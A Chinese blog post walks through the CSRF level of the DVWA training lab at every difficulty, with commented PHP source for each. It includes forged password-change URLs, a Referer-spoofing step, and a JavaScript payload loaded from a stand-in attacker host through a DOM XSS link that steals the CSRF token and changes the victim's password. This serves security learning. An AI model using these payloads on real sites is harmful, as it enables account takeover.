当前位置: 首页 > news >正文

【靶场练习】--DVWA第三关CSRF(跨站请求伪造)全难度分析

最近忙着入党的事情去了…因为我大一的时候挂了一科,所以慢了一个学期到大三才开始准备发展对象的材料。而我又正好是组织发展部的负责人(主要工作就是发展党员的)不仅要忙我自己的入党还要教我们支部的这一批人咋入党,写博客上就有一点懈怠了。。。到时候国庆和中秋的连假回家了估计也不会写。。。看来最近得加油了。。。

目录

    • 原理
    • Low
      • 步骤
      • 源码
    • Medium
      • 源码
      • 步骤
    • High
      • 源码
      • 步骤
    • Impossible
      • 源码

原理

核心原理是利用用户已认证的身份,在用户不知情的情况下伪造用户操作请求,从而执行未授权的操作 要理解 CSRF,首先需要明确 Web 应用的身份认证机制—— 许多 Web 应用通过「Cookie + Session」维持用户登录状态: 用户登录后,服务器会生成 Session 存储用户身份,同时向客户端发送包含 Session ID 的 Cookie;后续用户发送请求时,浏览器会自动携带该 Cookie,服务器通过 Cookie 中的 Session ID 识别用户身份,确认 “这是已登录的合法用户”

CSRF 正是利用了浏览器 “自动携带 Cookie” 的特性,其核心逻辑可概括为:

  1. 用户先登录 信任的网站 A(如银行、论坛),获得已认证的 Cookie(包含 Session ID)
  2. 用户在未退出网站 A 的情况下,被诱导访问 恶意网站 B(如钓鱼链接、植入恶意代码的页面);
  3. 恶意网站 B 向网站 A 发送一个伪造的请求(如转账、改密码、发帖子);
  4. 浏览器在发送该请求时,会自动携带网站 A 的已认证 Cookie
  5. 网站 A 收到请求后,通过 Cookie 识别出用户身份误认为是用户主动操作,从而执行该请求。

简单来说:CSRF 让服务器 “误以为” 请求是用户主动发起的,本质是身份的 “被冒用”,而非直接窃取用户身份信息(如 Cookie 内容)。其中窃取身份信息high难度有所涉及,所以这里提一下xss(跨站脚本攻击)与csrf(跨站请求伪造)二者区别

对比维度XSS(跨站脚本攻击)CSRF(跨站请求伪造)
核心原理注入恶意JavaScript代码,在用户浏览器中执行,窃取身份凭证(如Cookie)或控制用户操作利用用户已认证的身份,伪造请求让服务器误以为是用户主动操作,不窃取凭证
攻击目标直接获取用户敏感信息(Cookie、账号密码等)或执行未授权操作执行未授权操作(如转账、改密码),不直接获取信息
技术依赖依赖目标网站存在XSS漏洞(未过滤用户输入的脚本)依赖浏览器自动携带Cookie的机制和用户已登录目标网站
数据流向目标网站 → 攻击者(通过恶意脚本窃取数据后发送给攻击者)攻击者 → 目标网站(伪造请求发送给目标网站)
身份使用方式窃取身份凭证后,攻击者可独立使用(如手动设置Cookie登录)不窃取凭证,仅“借用”用户当前已认证的身份(用户仍持有凭证)
防御核心过滤输入的恶意代码(转义特殊字符)、使用CSP、设置Cookie的HttpOnly属性验证请求合法性(CSRF Token)、设置SameSite Cookie、验证Referer/Origin头
攻击条件复杂度需目标网站存在XSS漏洞,攻击条件相对严格无需目标网站有漏洞,仅需用户同时登录目标网站并访问恶意网站,条件相对宽松
典型攻击场景窃取Cookie、会话劫持、篡改页面内容、钓鱼诱导转账、修改密码、发布恶意内容、权限提升
与其他攻击关系可被用来实施CSRF攻击(用XSS窃取凭证后伪造请求)无法用来实施XSS攻击

Low

步骤

随便输入密码测试一下,可以发现这是通过get请求中修改的密码

在这里插入图片描述
那就试试看,修改url中的密码然后让登录的人访问能不能实现修改真实密码

简单来说现实渗透场景就是可以做一个按键(或者图片什么的),
点击按键即访问修改过的url,
让幸运儿登录了之后去点击这个按键,
看看是否可以修改这位幸运儿账号的密码

eg.
使用bp将修改密码的页面截断(截断的是要点击了change后的页面),右击burp的空白处,选择Engagment tools,选择其中的Generate CSRFPOC。就可以制作一个html界面恶意按钮

在这里插入图片描述


我浏览器新开一个页面,输入http://dvwa-master:8898/vulnerabilities/csrf/?password_new=12345&password_conf=12345&Change=Change#之后,出现了这个界面(url要根据你自己部署的路径来微调):
在这里插入图片描述
测试发现成功修改密码为12345(原本改完密码为123)
在这里插入图片描述

源码

<?phpif( isset( $_GET[ 'Change' ] ) ) {// 检查URL中是否存在'Change'参数,通常表示用户提交了密码修改请求// Get input$pass_new  = $_GET[ 'password_new' ];  // 从GET请求中获取新密码$pass_conf = $_GET[ 'password_conf' ]; // 从GET请求中获取确认密码//上面代码是含有csrf的主要原因,直接的get请求暴露在url中,没有防范机制// Do the passwords match?if( $pass_new == $pass_conf ) {// 检查新密码和确认密码是否一致// 对新密码进行数据库转义处理,防止SQL注入// 使用mysqli_real_escape_string函数处理特殊字符$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));// 对处理后的密码进行MD5哈希加密$pass_new = md5( $pass_new );// Update the database$current_user = dvwaCurrentUser();  // 获取当前登录的用户名// 构建SQL更新语句,将新密码更新到当前用户记录// 注意:这里存在安全隐患,$current_user直接拼接进SQL语句,未做转义处理$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . $current_user . "';";// 执行SQL语句,如果失败则输出错误信息$result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );// Feedback for the userecho "<pre>Password Changed.</pre>";  // 密码修改成功提示}else {// Issue with passwords matchingecho "<pre>Passwords did not match.</pre>";  // 密码不匹配提示}// 关闭数据库连接((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}?>

Medium

源码

像刚刚那样直接访问url进行修改密码很显然不行:
(现在密码为12345,尝试修改密码为123但是被发现请求不正确,失败了)
在这里插入图片描述
那么可以读源码:

<?phpif( isset( $_GET[ 'Change' ] ) ) {// 新增:检查请求来源(Referer验证),用于防御CSRF攻击// stripos() 函数检查 HTTP_REFERER(请求来源URL)中是否包含当前服务器域名(SERVER_NAME)// 若不包含,则判定为可疑请求,拒绝执行后续操作if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {// Get input$pass_new  = $_GET[ 'password_new' ];$pass_conf = $_GET[ 'password_conf' ];// Do the passwords match?if( $pass_new == $pass_conf ) {// They do!$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$pass_new = md5( $pass_new );// Update the database$current_user = dvwaCurrentUser();$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . $current_user . "';";$result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );// Feedback for the userecho "<pre>Password Changed.</pre>";}else {// Issue with passwords matchingecho "<pre>Passwords did not match.</pre>";}}else {// 新增:当请求来源不是信任的域名时,拒绝处理并提示错误echo "<pre>That request didn't look correct.</pre>";}((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}?>

通过stripos($_SERVER['HTTP_REFERER'], $_SERVER['SERVER_NAME']) !== false判断请求是否来自当前网站域名 (SERVER_NAME)

  • 若请求来自外部恶意网站,HTTP_REFERER 会包含恶意网站域名,此时验证失败,拒绝执行密码修改操作。
  • 只有当请求来自本站时,才继续处理密码修改逻辑。

步骤

对比一下伪造请求与正常请求的请求包
伪造:
在这里插入图片描述
正常:
在这里插入图片描述
那么思考:是不是我将请求包改加一个Referer字段就能够成功更改呢?

打开bp,访问http://dvwa-master:8898/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change#(现在密码12345,尝试修改为123)并抓包:
在这里插入图片描述
在这个后面加referer字段
在这里插入图片描述
可以发现成功修改:
在这里插入图片描述
测试:
输入admin/123登录成功
在这里插入图片描述

High

源码

<?php$change = false;
$request_type = "html";
$return_message = "Request Failed";// 处理JSON格式的POST请求
if ($_SERVER['REQUEST_METHOD'] == "POST" && array_key_exists ("CONTENT_TYPE", $_SERVER) && $_SERVER['CONTENT_TYPE'] == "application/json") {$data = json_decode(file_get_contents('php://input'), true);$request_type = "json";// 验证JSON请求中是否包含必要参数和用户令牌if (array_key_exists("HTTP_USER_TOKEN", $_SERVER) &&array_key_exists("password_new", $data) &&array_key_exists("password_conf", $data) &&array_key_exists("Change", $data)) {$token = $_SERVER['HTTP_USER_TOKEN']; // 从请求头获取令牌$pass_new = $data["password_new"];$pass_conf = $data["password_conf"];$change = true; // 标记为可执行修改操作}
} else {// 处理普通表单请求(非JSON)if (array_key_exists("user_token", $_REQUEST) &&array_key_exists("password_new", $_REQUEST) &&array_key_exists("password_conf", $_REQUEST) &&array_key_exists("Change", $_REQUEST)) {$token = $_REQUEST["user_token"]; // 从请求参数获取令牌$pass_new = $_REQUEST["password_new"];$pass_conf = $_REQUEST["password_conf"];$change = true; // 标记为可执行修改操作}
}if ($change) {// 核心安全机制:验证CSRF令牌// 对比请求中的令牌与服务器Session中存储的令牌是否一致checkToken( $token, $_SESSION[ 'session_token' ], 'index.php' );// 验证两次输入的密码是否一致if( $pass_new == $pass_conf ) {// 对密码进行转义处理,防止SQL注入$pass_new = mysqli_real_escape_string ($GLOBALS["___mysqli_ston"], $pass_new);// 对密码进行MD5哈希(注意:MD5安全性较低,不推荐用于生产环境)$pass_new = md5( $pass_new );// 更新数据库中的密码$current_user = dvwaCurrentUser(); // 获取当前登录用户$insert = "UPDATE `users` SET password = '" . $pass_new . "' WHERE user = '" . $current_user . "';";$result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert );// 操作成功的返回信息$return_message = "Password Changed.";}else {// 密码不匹配时的返回信息$return_message = "Passwords did not match.";}// 关闭数据库连接mysqli_close($GLOBALS["___mysqli_ston"]);// 根据请求类型返回对应格式的响应if ($request_type == "json") {generateSessionToken(); // 生成新的会话令牌(一次性令牌机制)header ("Content-Type: application/json");print json_encode (array("Message" =>$return_message));exit;} else {echo "<pre>" . $return_message . "</pre>";}
}// 生成新的CSRF令牌并存储到Session中
generateSessionToken();?>

优势分析:

  • 从 Referer 验证升级为更可靠的 Token 验证机制
  • 令牌存储在 Session 中,攻击者无法通过跨站请求获取
  • 支持 API 接口的同时保持了 CSRF 防护能力
  • 采用一次性令牌机制,降低了令牌泄露后的风险

步骤

试着去构造一个攻击页面,将其放置在攻击者的服务器,引诱受害者访问,从而完成CSRF攻击

alert(document.cookie);
var theUrl = 'http://www.dvwa.com/vulnerabilities/csrf/';
if(window.XMLHttpRequest) {xmlhttp = new XMLHttpRequest();
}else{xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
}
var count = 0;
xmlhttp.withCredentials = true;
xmlhttp.onreadystatechange=function(){if(xmlhttp.readyState ==4 && xmlhttp.status==200){var text = xmlhttp.responseText;var regex = /user_token\' value\=\'(.*?)\' \/\>/;var match = text.match(regex);console.log(match);alert(match[1]);var token = match[1];var new_url = 'http://www.dvwa.com/vulnerabilities/csrf/?user_token='+token+'&password_new=test&password_conf=test&Change=Change';if(count==0){count++;xmlhttp.open("GET",new_url,false);xmlhttp.send();}}
};
xmlhttp.open("GET",theUrl,false);
xmlhttp.send();

xss.js放置于攻击者的网站上:http://www.hack.com/xss.js

CSRF结合同Security Level的DOM XSS,通过ajax实现跨域请求来获取用户的user_token,用以下链接来让受害者访问:

http://www.dvwa.com/vulnerabilities/xss_d/?default=English #<script src="http://www.hack.com/xss.js"></script>

诱导点击后,成功将密码修改为test。

此处high难度来自net1996的解法。一般的解法需要配合dvwa的存储型xss漏洞,直接获取受害者的cookie信息,然后通过bp修改cookie,进行一次重放攻击,简单粗暴

小贴士:最后记得把密码改回password,或者记住自己改的密码是啥

Impossible

需要输入当前密码,简单粗暴防止csrf攻击。
在这里插入图片描述

源码

<?phpif( isset( $_GET[ 'Change' ] ) ) {// 核心CSRF防护:验证请求中的user_token与Session中的session_token是否一致// 不一致则拒绝操作,有效防止跨站请求伪造checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );// 从GET请求中获取输入的密码信息$pass_curr = $_GET[ 'password_current' ];  // 当前密码$pass_new  = $_GET[ 'password_new' ];      // 新密码$pass_conf = $_GET[ 'password_conf' ];     // 确认新密码// 对当前密码进行安全处理$pass_curr = stripslashes( $pass_curr );  // 去除反斜杠转义// 数据库转义处理,防止SQL注入$pass_curr = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_curr ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$pass_curr = md5( $pass_curr );  // MD5哈希加密(安全性较低)// 验证当前密码是否正确(查询数据库中当前用户的密码)// 使用PDO预处理语句,避免SQL注入风险$data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );$current_user = dvwaCurrentUser();  // 获取当前登录用户名$data->bindParam( ':user', $current_user, PDO::PARAM_STR );  // 绑定用户名参数$data->bindParam( ':password', $pass_curr, PDO::PARAM_STR );  // 绑定密码参数$data->execute();  // 执行查询// 验证条件:新密码与确认密码一致,且当前密码验证正确if( ( $pass_new == $pass_conf ) && ( $data->rowCount() == 1 ) ) {// 新密码处理$pass_new = stripslashes( $pass_new );  // 去除反斜杠// 数据库转义处理$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$pass_new = md5( $pass_new );  // MD5加密// 更新数据库中的密码// 同样使用PDO预处理语句,防止SQL注入$data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' );$data->bindParam( ':password', $pass_new, PDO::PARAM_STR );$current_user = dvwaCurrentUser();$data->bindParam( ':user', $current_user, PDO::PARAM_STR );$data->execute();// 密码修改成功提示echo "<pre>Password Changed.</pre>";}else {// 密码不匹配或当前密码错误提示echo "<pre>Passwords did not match or current password incorrect.</pre>";}
}// 生成新的CSRF令牌并存储到Session中(每次请求生成新令牌,增强安全性)
generateSessionToken();?>
http://www.dtcms.com/a/415271.html

相关文章:

  • 商城网站建设正规公司光辉网站建设公司
  • Linux读者写者问题与读写锁
  • Kurt-Blender零基础教程:第3章:材质篇——第2节:凹凸感和置换形变;混合材质节点和NodeWrangler的五大用法;简单的UV纹理绘制
  • 潍坊高密网站建设wordpress myisam
  • 南充能够建设网站的公司有网站制作专家
  • @Import 导入bean对象
  • JavaScript 介绍
  • AiNiee - AI 翻译工具
  • 【Qt6项目转Qt5项目的一些API设置】
  • 音乐网站开发环境描述要建设一个网站需要准备些什么
  • display ip interface brief 概念及题目
  • asp网站整站下载器网站建设入什么科目
  • 网站建设国内排行如何做网站 知乎
  • 网站关于 模板三亚网站优化
  • Nginx部署vue以及转发配置记录
  • Elasticsearch - 分布式搜索与分析引擎
  • 网站开发者模式下载视频设计网站做多大合适
  • wordpress建企业商城南宁网站的优化
  • 通才机器人策略中的捷径学习:数据集多样性和碎片化的作用
  • 【轮播图】HTML+CSS+JavaScript实现轮播图
  • Low-Overhead Sensing RS Design for Integrated Sensing and Communication (ISAC)
  • 如何快速收录一个网站的信息网页设计与制作作业成品免费
  • MyEclipse在高分辨率显示屏上图标显示太小的解决方案
  • 网站 多语言处理wordpress搜索表单
  • Python 2025:物联网与边缘计算的智能融合新纪元
  • 小迪安全v2023学习笔记(九十讲)—— 小程序篇反编译外在主包分包配置泄露算法逆向未授权
  • 机器学习模型中异常样本、特征的三种常见分类与鉴别方法
  • 有口碑的常州网站建设建设网银怎么提高转账限额
  • 湖南响应式网站哪里有58同城怎么发布信息
  • 《前端开发中常用的快捷键大全》